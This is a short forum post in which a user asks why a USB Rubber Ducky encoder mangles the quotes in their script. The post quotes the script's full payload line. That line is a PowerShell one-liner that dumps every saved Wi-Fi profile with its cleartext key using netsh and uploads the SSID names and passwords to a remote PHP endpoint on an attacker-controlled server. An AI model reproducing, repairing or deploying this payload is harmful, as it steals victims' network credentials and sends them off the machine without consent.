Hi all,
I've created a ducky script which works fine when I execute the commands by hand, but fails after being encoded and run with the duck.
The line in the code is:
STRING $d=netsh wlan show profiles|sls -Pattern 'All User'|Foreach{$_.ToString()};$c=$d|Foreach{$_.Replace(' All User Profile : ',$null)};$z=ForEach($w in $c){netsh wlan show profiles $w key=clear};$p=$z|sls -Pattern 'SSID name','Key Content';(New-Object Net.WebClient).UploadString('http://IP_REMOVED/rx.php', $p)
However the quote between -Pattern and All User is being dropped, as well as a single space from ' All User Profile'.
Does anyone know why the encoding fails/does this? Bug in encoder?
Cheers,
Void